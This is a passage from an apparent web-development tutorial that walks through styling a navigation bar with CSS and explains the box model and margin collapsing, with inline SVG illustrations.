0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.008-1.68l1.168-1.088v-2.144c0-.032-.016-.048-.048-.048h-1.28c-.032 0-.048.016-.048.048v2.08c0 .032-.016.048-.048.048h-1.584c-.043 0-.064-.016-.064-.048v-2.064c0-.203.04-.395.12-.576.08-.18.187-.34.32-.472.133-.133.293-.237.48-.312.187-.075.387-.112.6-.112h1.76c.213 0 .413.037.6.112.187.075.347.18.48.312.133.133.24.29.32.472.08.18.12.373.12.576v1.984c0 .213-.085.39-.256.528l-1.2 1.088c-.01.01-.01.016 0 .016h1.28c.117 0 .176.085.176.256v4.384c0 .203-.04.395-.12.576-.08.18-.187.34-.32.472-.133.133-.293.237-.48.312-.187.075-.38.112-.584.112H163.8c-.213 0-.41-.037-.592-.112-.18-.075-.34-.18-.48-.312-.14-.133-.248-.29-.328-.472-.08-.18-.12-.373-.12-.576v-2.32c0-.043.02-.064.064-.064h1.584c.032 0 .048.02.048.064v2.32c0 .01.016.032.048.064h1.28c.032-.01.048-.032.048-.064v-3.472c0-.032-.01-.048-.032-.048h-1.104c-.02 0-.032-.005-.032-.016v-1.504zm17.296 6.464c-.01.02-.016.035-.016.04 0 .005-.01.008-.032.008h-1.28c-.043 0-.064-.016-.064-.048l-.032-11.152c0-.032.02-.048.064-.048h1.232c.043 0 .07.016.08.048l.048 11.152zm17.136-1.44c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184H212.2c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.92.128v-5.232c-.075.213-.165.488-.272.824-.107.336-.216.693-.328 1.072-.112.38-.227.76-.344 1.144-.117.384-.224.73-.32 1.04-.096.31-.173.563-.232.76-.06.197-.088.296-.088.296-.02.064-.01.096.032.096h1.552zm1.568-6.48c.032 0 .048.02.048.064v11.088c0 .032-.016.048-.048.048h-1.52c-.032 0-.048-.016-.048-.048V23.56h-3.184c-.02 0-.032-.01-.032-.032v-1.152-.072c0-.027.005-.056.016-.088l2.064-6.416 2.704.016z&quot; fill=&quot;#FFF&quot;/&gt;&lt;path d=&quot;M136 33.167h30&quot; stroke=&quot;#FFF&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;Let&apos;s break the requirements down piece by piece.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Each link should be delimited by a vertical line, with equal space on both the right and left. The first and last links should NOT have these delimiters on their left and right, respectively.&lt;/li&gt;
&lt;li&gt;The delimiter should be the same height as the text.&lt;/li&gt;
&lt;li&gt;The text on the link should have an underline applied upon hover, but there should be some breathing space between the text and the underline.&lt;/li&gt;
&lt;li&gt;Hover effects apply to individual links only.&lt;/li&gt;
&lt;li&gt;The entire link box should be clickable, and the hover effect should kick in once the cursor enters the link box.&lt;/li&gt;
&lt;li&gt;The active state of each link should be the same as when the link is hovered.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I&apos;m going to step through my actual thought process, which is essentially my box-model journey. If you just want the end result, &lt;a href=&quot;#step-2-style-the-navigation-to-match-design-attempt-3&quot;&gt;skip right to it&lt;/a&gt;. But in the words of &lt;a href=&quot;https://arthurashe.ucla.edu/life-story/&quot;&gt;Arthur Ashe&lt;/a&gt; (what can I say, I&apos;m an athlete too &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Success is a journey not a destination. The doing is usually more important than the outcome. - Arthur Ashe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Step 1: Basic bare-bones mark-up and styles&lt;/h2&gt;
&lt;p&gt;Let&apos;s start off with the most basic mark-up, an unordered list in a &lt;code&gt;nav&lt;/code&gt; element, with the text of each link wrapped in an &lt;code&gt;a&lt;/code&gt; tag.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;nav&amp;gt;
  &amp;lt;ul&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;Link 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;Link 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;Link 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;Link 4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;
&amp;lt;/nav&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, apply some simple CSS to get the list in a horizontal configuration.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;li {
  display: inline-block;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Bare-bones navigation bar&lt;/figcaption&gt;
  &lt;svg width=&quot;213&quot; height=&quot;65&quot; viewBox=&quot;0 0 213 65&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#FFF&quot; d=&quot;M0 0h213v65H0z&quot;/&gt;&lt;a href=&quot;javascript:void(0)&quot;&gt;&lt;text font-family=&quot;Times&quot; font-size=&quot;16&quot; text-decoration=&quot;underline&quot; fill=&quot;#00E&quot;&gt;&lt;tspan x=&quot;6&quot; y=&quot;19&quot;&gt;Link 1&lt;/tspan&gt;&lt;/text&gt;&lt;/a&gt;&lt;a href=&quot;javascript:void(0)&quot;&gt;&lt;text font-family=&quot;Times&quot; font-size=&quot;16&quot; text-decoration=&quot;underline&quot; fill=&quot;#00E&quot;&gt;&lt;tspan x=&quot;55&quot; y=&quot;19&quot;&gt;Link 2&lt;/tspan&gt;&lt;/text&gt;&lt;/a&gt;&lt;a href=&quot;javascript:void(0)&quot;&gt;&lt;text font-family=&quot;Times&quot; font-size=&quot;16&quot; text-decoration=&quot;underline&quot; fill=&quot;#00E&quot;&gt;&lt;tspan x=&quot;104&quot; y=&quot;19&quot;&gt;Link 3&lt;/tspan&gt;&lt;/text&gt;&lt;/a&gt;&lt;a href=&quot;javascript:void(0)&quot;&gt;&lt;text font-family=&quot;Times&quot; font-size=&quot;16&quot; text-decoration=&quot;underline&quot; fill=&quot;#00E&quot;&gt;&lt;tspan x=&quot;153&quot; y=&quot;19&quot;&gt;Link 4&lt;/tspan&gt;&lt;/text&gt;&lt;/a&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;h2&gt;Step 2: Style the navigation to match design (Attempt 1)&lt;/h2&gt;
&lt;p&gt;This is the step with oh-so-many variations. There are loads of ways to get the navigation to look like the design, given the number of elements available to work with. I started off just putting in fonts, colours, and some padding.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;nav {
  font-family: &amp;quot;Slim Jim&amp;quot;, &amp;quot;Impact&amp;quot;, &amp;quot;Arial Black&amp;quot;, sans-serif;
  background: black;
}
li {
  display: inline-block;
  padding: 1rem; /* not such a good idea */
  border-left: 1px solid white; /* neither is this */
  &amp;amp;:first-child {
    border-left: none;
  }
}
a {
  color: white;
  text-decoration: none;
  &amp;amp;:hover {
    border-bottom: 2px solid white;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That code will give you something like this, which somehow, doesn&apos;t fit the bill. Also, the underline only appears when you hover over the text, not the entire link box. &lt;span class=&quot;kaomoji&quot;&gt;(╯°□°）╯︵ ┻━┻&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Something doesn&apos;t look quite right here.&lt;/figcaption&gt;
  &lt;svg width=&quot;370&quot; height=&quot;50&quot; viewBox=&quot;0 0 370 50&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#000&quot; d=&quot;M0 1h370v47H0z&quot;/&gt;&lt;path d=&quot;M22.056 26.512c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064H18.12c-.043 0-.064-.02-.064-.064V16.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184H35.64c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V16.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.872 4.8c0 .032-.02.048-.064.048h-1.84c-.032 0-.048-.016-.048-.048v-9.6h-1.008c-.032 0-.048-.02-.048-.064V16.88c0-.043.016-.064.048-.064h2.896c.043 0 .064.02.064.064v11.088zm32.432-1.456c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V16.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V16.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048H97c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm12.448 4.816c0 .032-.02.048-.064.048h-5.408c-.02 0-.032-.016-.032-.048v-1.632c0-.064.01-.128.032-.192.075-.117.213-.344.416-.68.203-.336.44-.725.712-1.168.272-.443.555-.907.848-1.392.293-.485.563-.928.808-1.328.245-.4.448-.733.608-1l.24-.4c.02-.02.032-.043.032-.064v-1.824c0-.032-.016-.048-.048-.048h-1.392c-.032 0-.048.016-.048.048v2.24h-1.584V18.32c0-.203.037-.395.112-.576.075-.18.176-.34.304-.472.128-.133.28-.24.456-.32.176-.08.37-.12.584-.12H106.984c.427 0 .77.144 1.032.432.26.288.392.635.392 1.04v2.448c0 .053-.01.1-.032.144 0 .01-.083.152-.248.424-.165.272-.373.61-.624 1.016l-.808 1.312-.808 1.32c-.25.41-.46.752-.632 1.024-.17.272-.256.413-.256.424-.02.02-.027.04-.016.056.01.016.027.024.048.024h2.064v-1.744c0-.032.016-.048.048-.048h1.376c.043 0 .064.016.064.048v3.232zm32.176-1.472c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V16.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12H147h2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V16.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.008-1.68l1.168-1.088v-2.144c0-.032-.016-.048-.048-.048h-1.28c-.032 0-.048.016-.048.048v2.08c0 .032-.016.048-.048.048h-1.584c-.043 0-.064-.016-.064-.048v-2.064c0-.203.04-.395.12-.576.08-.18.187-.34.32-.472.133-.133.293-.237.48-.312.187-.075.387-.112.6-.112h1.76c.213 0 .413.037.6.112.187.075.347.18.48.312.133.133.24.29.32.472.08.18.12.373.12.576v1.984c0 .213-.085.39-.256.528l-1.2 1.088c-.01.01-.01.016 0 .016h1.28c.117 0 .176.085.176.256v4.384c0 .203-.04.395-.12.576-.08.18-.187.34-.32.472-.133.133-.293.237-.48.312-.187.075-.38.112-.584.112h-1.776c-.213 0-.41-.037-.592-.112-.18-.075-.34-.18-.48-.312-.14-.133-.248-.29-.328-.472-.08-.18-.12-.373-.12-.576v-2.32c0-.043.02-.064.064-.064h1.584c.032 0 .048.02.048.064v2.32c0 .01.016.032.048.064h1.28c.032-.01.048-.032.048-.064v-3.472c0-.032-.01-.048-.032-.048h-1.104c-.02 0-.032-.005-.032-.016v-1.504zm35.168 5.024c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V16.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V16.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.92.128v-5.232c-.075.213-.165.488-.272.824-.107.336-.216.693-.328 1.072-.112.38-.227.76-.344 1.144-.117.384-.224.73-.32 1.04-.096.31-.173.563-.232.76-.06.197-.088.296-.088.296-.02.064-.01.096.032.096h1.552zm1.568-6.48c.032 0 .048.02.048.064v11.088c0 .032-.016.048-.048.048h-1.52c-.032 0-.048-.016-.048-.048V24.56h-3.184c-.02 0-.032-.01-.032-.032v-1.224c0-.027.005-.056.016-.088l2.064-6.416 2.704.016z&quot; fill=&quot;#FFF&quot;/&gt;&lt;path d=&quot;M138 34.167h30&quot; stroke=&quot;#FFF&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;path d=&quot;M62.675 1.5v47M123.4 1v47M182.8 1v47&quot; stroke=&quot;#FFF&quot; stroke-width=&quot;1.35&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;h2&gt;Interlude: Learn the box model, padawan&lt;/h2&gt;
&lt;p&gt;If you think about it, web pages are just content in boxes, but laid out in a myriad of patterns and designs. Browsers render these boxes based on the properties we give them. Each box is described to the browser based on the &lt;strong&gt;box model&lt;/strong&gt;, which determines how much a space a box takes up on the page.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;The model is made up of four boxes, from inside to outside:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Content&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Padding&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Border&lt;/li&gt;
  &lt;li&gt;Margin&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;
  &lt;figcaption&gt;The box model, visualised&lt;/figcaption&gt;
  &lt;svg width=&quot;516&quot; height=&quot;280&quot; viewBox=&quot;0 0 516 280&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path stroke=&quot;#000&quot; stroke-dasharray=&quot;3&quot; fill=&quot;#FACD9A&quot; d=&quot;M116 0h400v280H116z&quot;/&gt;&lt;path stroke=&quot;#000&quot; fill=&quot;#FEDE97&quot; d=&quot;M141 26h350v230H141z&quot;/&gt;&lt;path stroke=&quot;#000&quot; fill=&quot;#C2D086&quot; d=&quot;M166 51h300v180H166z&quot;/&gt;&lt;path stroke=&quot;#000&quot; stroke-dasharray=&quot;3&quot; fill=&quot;#8AB5C1&quot; d=&quot;M206 81h220v120H206z&quot;/&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;17&quot;&gt;Margin&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;149&quot; y=&quot;43&quot;&gt;Border&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;177&quot; y=&quot;69&quot;&gt;Padding&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;295&quot; y=&quot;143&quot;&gt;Content&lt;/tspan&gt;&lt;/text&gt;&lt;path d=&quot;M113.5 16.5L79.56 33.138M102.482 18.56L113.5 16.5l-8.377 7.447M138.5 44.5L79.417 73.462M127.482 46.56L138.5 44.5l-8.377 7.447M163.5 71.5l-83.327 40.847M152.482 73.56L163.5 71.5l-8.377 7.447M203.5 107.5L80.664 167.714M192.482 109.56l11.018-2.06-8.377 7.447&quot; stroke=&quot;#000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;7&quot; y=&quot;37&quot;&gt;Margin edge&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;0&quot; y=&quot;117&quot;&gt;Padding edge&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;8&quot; y=&quot;78&quot;&gt;Border edge&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;12&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;2&quot; y=&quot;172&quot;&gt;Content edge&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;h3&gt;Content&lt;/h3&gt;
&lt;p&gt;This area encompasses the actual content of the element, the text, background, image(s) and so on. It stops at the content edge. Referring to the above diagram, it&apos;s everything in the blue box.&lt;/p&gt;
&lt;h3&gt;Padding&lt;/h3&gt;
&lt;p&gt;Padding extends to the padding edge. Any content in the content area (like background or an image) will extend into the padding. The amount padding between the content area and the padding edge is controlled via the &lt;code&gt;padding&lt;/code&gt; property. Refer to the green area in the diagram above.&lt;/p&gt;
&lt;h3&gt;Border&lt;/h3&gt;
&lt;p&gt;Border extends to the border edge. By default, backgrounds extend underneath the border area. The thickness of the border is controlled by the &lt;code&gt;border&lt;/code&gt; property. Refer to the yellow area in the diagram above.&lt;/p&gt;
&lt;h3&gt;Margin&lt;/h3&gt;
&lt;p&gt;Margin extends to the margin edge. However, it is an &amp;quot;empty&amp;quot; area that separates the elements its neighbouring elements. The space the margin takes up is controlled via the &lt;code&gt;margin&lt;/code&gt; property. There is one particular behaviour of margins that we need to take note of. It&apos;s called &lt;strong&gt;margin collapsing&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This happens when margins of adjacent block elements combine into a single margin, which takes the larger value of the two. This phenomena only occurs vertically, which means for &lt;code&gt;margin-top&lt;/code&gt; and &lt;code&gt;margin-bottom&lt;/code&gt;. Horizontal margins ( &lt;code&gt;margin-left&lt;/code&gt; and &lt;code&gt;margin-right&lt;/code&gt; ) never collapse. Here are some common scenarios where margins collapse.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Adjacent block elements&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We start off with 2 block elements stacked on top on each other.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;block1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&amp;quot;block2&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.block1 {
  width: 300px;
  height: 100px;
  background: lawngreen;
}
.block2 {
  width: 300px;
  height: 100px;
  background: orange;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given they have no margins, they will look something like this:&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;2 block elements on top of each other.&lt;/figcaption&gt;
  &lt;svg width=&quot;300&quot; height=&quot;200&quot; viewBox=&quot;0 0 300 200&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M0 0h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;54&quot;&gt;.block1&lt;/tspan&gt;&lt;/text&gt;&lt;g&gt;&lt;path fill=&quot;#F6A623&quot; d=&quot;M0 100h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot; transform=&quot;translate(0 100)&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;54&quot;&gt;.block2&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;Now, let&apos;s add some margin to the bottom and top of the first and second element respectively.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.block1 {
  width: 300px;
  height: 100px;
  background: lawngreen;
  margin-bottom: 2rem;
}
.block2 {
  width: 300px;
  height: 100px;
  background: orange;
  margin-top: 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the first element has a margin-bottom of 2 rem, and the second element has a margin-top of 1 rem, the resultant margin between them will be 2 rem. You can think of it as the smaller margin (that of the second element) having &lt;em&gt;collapsed&lt;/em&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Margin collapses to 2 rem&lt;/figcaption&gt;
